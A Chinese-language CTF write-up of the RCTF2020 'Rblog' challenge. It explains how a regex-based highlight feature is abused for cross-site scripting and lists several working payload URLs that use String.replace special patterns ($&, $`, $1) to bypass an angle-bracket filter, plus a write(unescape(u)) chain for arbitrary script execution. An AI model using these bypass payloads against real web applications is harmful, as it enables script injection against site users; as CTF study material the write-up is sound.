RCTF2020 Rblog WriteUp


题目是一个用户可以通过传入正则来对选取文章内容进行高亮显示的功能:
-w1290

过正则校验:不能有尖括号且字符不能超过36

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function highlight_word() {
u = new URL(location)
hl = u.searchParams.get('highlight') || ''
if (hl) {
// ban html tags
if (hl.includes('<') || hl.includes('>') || hl.length > 36) {
u.searchParams.delete('highlight')
history.replaceState('', '', u.href)
alert('⚠️ illegal highlight word')
} else {
// why the heck this only highlights the first occurrence? stupid javascript 😠
// content.innerHTML = content.innerHTML.replace(hl, `<b class="hl">${hl}</b>`)
hl_all = new RegExp(hl, 'g')
replacement = `<b class="hl">${hl}</b>`
post_content.innerHTML = post_content.innerHTML.replace(hl_all, replacement)
let b = document.querySelector('b[class=hl]')
if (b) {
typeof b.scrollIntoViewIfNeeded === "function" ? b.scrollIntoViewIfNeeded() : b.scrollIntoView()
}
}
}
}

看文档:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace

1
const newStr = str.replace(regexp|substr, newSubstr|function)

str.replace有以下几种特殊模式:
-w1078

-w1104

第一种:用$&引用匹配到的<:

1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=.|$%26svg/onload=alert(1)+

-w1060
-w960

第二种:用$`来获取p标签前边的<

1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=p|$`svg/onload=alert(1)+

-w402

第三种:$n
这种就是用的最多的引用匹配,缺点就是需要带括号

1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=(.)|$1svg/onload=alert(1)+

-w1040

漏洞利用:通过write(unescape(u))来写入当前url来进行任意代码执行:

1
http://120.79.152.66:65480/posts/6292038b-4fba-4344-af2a-6b92a788d606?highlight=[$`style onload=write(unescape(u)) ]#?highlight=<script>alert(1)<%2Fscript>

官方解法里还有几个有意思的点:
在feedback提交给管理员不能用/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
axios.get('?fetch').then(resp => {
for (let i of resp.data) {
let params = new URLSearchParams()
params.set('highlight', i.highlight_word)
if (i.link.includes('/') || i.link.includes('\\')) {
continue; // bye bye hackers uwu
}
let a = document.createElement('a')
a.href = `${i.link}?${params.toString()}`
a.text = `${i.ip}: ${a.href}`
feedback_list.appendChild(a)
feedback_list.appendChild(document.createElement('br'))
}
feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)
}, err => {
feedback_list.innerText = err
})
</script>

bypass:

-w936

膜hpdoger!!! 膜出题人